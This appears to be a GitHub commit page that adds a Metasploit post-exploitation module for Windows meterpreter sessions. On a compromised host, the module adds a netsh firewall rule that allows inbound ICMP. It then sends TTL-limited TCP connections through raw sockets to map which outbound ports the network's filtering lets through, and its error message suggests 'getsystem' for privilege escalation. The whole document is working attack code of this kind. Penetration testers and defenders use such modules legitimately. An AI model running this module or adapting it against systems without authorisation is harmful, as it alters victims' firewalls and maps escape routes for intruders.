Skip to content

Commit 529f749

Browse files
author
Peregrino Gris
committed
Add post-exploitation module to get FW filtering rules
1 parent b2612ea commit 529f749

File tree

1 file changed

+180
-0
lines changed

1 file changed

+180
-0
lines changed
Lines changed: 180 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,180 @@
1+
# -*- coding: binary -*-
2+
3+
##
4+
# This module requires Metasploit: http//metasploit.com/download
5+
# Current source: https://github.com/rapid7/metasploit-framework
6+
##
7+
8+
require 'msf/core'
9+
require 'rex'
10+
11+
class Metasploit3 < Msf::Post
12+
include Msf::Post::Windows::Priv
13+
14+
def initialize(info={})
15+
super( update_info( info,
16+
'Name' => 'Windows Outbound-Filering Rules',
17+
'Description' => %q{
18+
This module makes some kind of TCP traceroute to get outbound-filtering rules.
19+
It will try to make a TCP connection to a certain public IP address (this IP
20+
does not need to be under your control) using different TTL incremental values.
21+
This way if you get an answer (ICMP ttl time exceeded packet) from a public IP
22+
device you can infer that the destination port is allowed. Setting STOP to
23+
true the module will stop as soon as you reach a public IP (this will generate
24+
less noise in the network).
25+
},
26+
27+
'License' => MSF_LICENSE,
28+
'Author' => [ 'Borja Merino <bmerinofe[at]gmail.com>' ],
29+
'Platform' => [ 'win' ],
30+
'SessionTypes' => [ 'meterpreter' ]
31+
))
32+
register_options(
33+
[
34+
OptAddress.new("ADDRESS" , [ true, 'Destination IP address.']),
35+
OptInt.new('HOPS', [true, 'Number of hops to get.', 3]),
36+
OptInt.new('MIN_TTL', [true, 'Starting TTL value.', 1]),
37+
OptString.new('PORTS', [true, 'Ports to test (e.g. 80,443,100-110).']),
38+
OptInt.new('TIMEOUT', [true, 'Timeout for the ICMP socket.', 3]),
39+
OptBool.new('STOP', [true, 'Stop when it finds a public IP.', false])
40+
], self.class)
41+
42+
end
43+
44+
def icmp_setup
45+
handler = client.railgun.ws2_32.socket("AF_INET", "SOCK_RAW", "IPPROTO_ICMP")
46+
if handler['GetLastError'] != 0
47+
print_error("There was an error setting the ICMP raw socket; GetLastError: #{handler['GetLastError']}")
48+
return nil
49+
end
50+
vprint_status("ICMP raw socket created successfully")
51+
sockaddr = Rex::Socket.to_sockaddr(session.tunnel_peer.partition(':')[0], 0)
52+
r = client.railgun.ws2_32.bind(handler['return'],sockaddr,16)
53+
if r['GetLastError'] != 0
54+
print_error("There was an error binding the ICMP socket; GetLastError: #{r['GetLastError']}")
55+
return nil
56+
end
57+
58+
# int WSAIoctl(
59+
# _In_ SOCKET s,
60+
# _In_ DWORD dwIoControlCode,
61+
# _In_ LPVOID lpvInBuffer,
62+
# _In_ DWORD cbInBuffer,
63+
# _Out_ LPVOID lpvOutBuffer,
64+
# _In_ DWORD cbOutBuffer,
65+
# _Out_ LPDWORD lpcbBytesReturned,
66+
# _In_ LPWSAOVERLAPPED lpOverlapped,
67+
# _In_ LPWSAOVERLAPPED_COMPLETION_ROUTINE lpCompletionRoutine
68+
# );
69+
70+
sio_rcvall = 0x98000001
71+
r = client.railgun.ws2_32.WSAIoctl(handler['return'],sio_rcvall,"\x01",4,nil,0,4,nil,nil)
72+
if r['GetLastError'] != 0
73+
print_error("There was an error calling WSAIoctl (ICMP raw socket); GetLastError: #{r['GetLastError']}")
74+
return nil
75+
end
76+
return handler['return']
77+
end
78+
79+
def tcp_setup(ttl)
80+
handler = client.railgun.ws2_32.socket("AF_INET", "SOCK_STREAM", "IPPROTO_TCP")
81+
if handler['GetLastError'] != 0
82+
print_error("There was an error setting the TCP socket; GetLastError: #{handler['GetLastError']}")
83+
return nil
84+
end
85+
vprint_status("TCP socket created successfully")
86+
87+
fionbio = 0x8004667E
88+
r = client.railgun.ws2_32.ioctlsocket(handler['return'],fionbio,1)
89+
if r['GetLastError'] != 0
90+
print_error("There was an error setting the TCP socket in non-blocking mode; GetLastError: #{r['GetLastError']}")
91+
return nil
92+
end
93+
vprint_status("TCP socket successfully configured in non-blocking mode")
94+
95+
# int setsockopt(
96+
# _In_ SOCKET s,
97+
# _In_ int level,
98+
# _In_ int optname,
99+
# _In_ const char *optval,
100+
#_In_ int optlen
101+
# );
102+
103+
ipproto_ip = 0x00000000
104+
ip_ttl = 0x00000004
105+
r = client.railgun.ws2_32.setsockopt(handler['return'], ipproto_ip, ip_ttl,[ttl].pack('C'),4)
106+
if r['GetLastError'] != 0
107+
print_error("There was an error setting the TTL value; GetLastError: #{r['GetLastError']}")
108+
return nil
109+
end
110+
vprint_status("TTL value successfully set to #{ttl}")
111+
return handler['return']
112+
end
113+
114+
def connections(remote,dport,h_icmp,h_tcp, to)
115+
sockaddr = Rex::Socket.to_sockaddr(remote, dport)
116+
r = client.railgun.ws2_32.connect(h_tcp,sockaddr,16)
117+
# A GetLastError == 1035 is expected since the socket is set to non-blocking mode
118+
if r['GetLastError'] != 10035
119+
print_error("There was an error creating the connection to the peer #{remote}; GetLastError: #{r['GetLastError']}")
120+
return
121+
end
122+
123+
from=" "*16
124+
125+
begin
126+
::Timeout.timeout(to) do
127+
r = client.railgun.ws2_32.recvfrom(h_icmp,"",100,0,from,16)
128+
hop = Rex::Socket.addr_ntoa(r['from'][4..7])
129+
return hop
130+
end
131+
rescue ::Timeout::Error
132+
return nil
133+
end
134+
135+
end
136+
137+
def run
138+
if not is_admin?
139+
print_error("You don't have enough privileges. Try getsystem.")
140+
return
141+
end
142+
143+
if sysinfo["OS"] =~ /XP/
144+
print_error("Windows XP is not supported")
145+
return
146+
end
147+
148+
output = cmd_exec("netsh"," advfirewall firewall add rule name=\"All ICMP v4\" dir=in action=allow protocol=icmpv4:any,any")
149+
print_status("ICMP firewall IN rule established: #{output}")
150+
151+
session.railgun.ws2_32
152+
remote = datastore['ADDRESS']
153+
to = datastore['TIMEOUT']
154+
155+
ports = Rex::Socket.portspec_crack(datastore['PORTS'])
156+
157+
ports.each do |dport|
158+
print_status("Testing port #{dport}...")
159+
0.upto(datastore['HOPS']-1) { |i|
160+
i = i + datastore['MIN_TTL']
161+
h_icmp = icmp_setup
162+
h_tcp = tcp_setup(i)
163+
return if h_icmp == nil or h_tcp == nil
164+
165+
hop = connections(remote, dport, h_icmp, h_tcp, to)
166+
if hop != nil
167+
print_good("#{i} #{hop}")
168+
if datastore['STOP'] == true and hop !~ /^\s*(?:10\.|192\.168|172.(?:1[6-9]|2[0-9]|3[01])\.|169\.254)/
169+
print_good("Public IP reached. The port #{dport} is not filtered")
170+
break
171+
end
172+
else
173+
print_error("#{i} *")
174+
end
175+
client.railgun.ws2_32.closesocket(h_tcp)
176+
client.railgun.ws2_32.closesocket(h_icmp)
177+
}
178+
end
179+
end
180+
end

0 commit comments

Comments
 (0)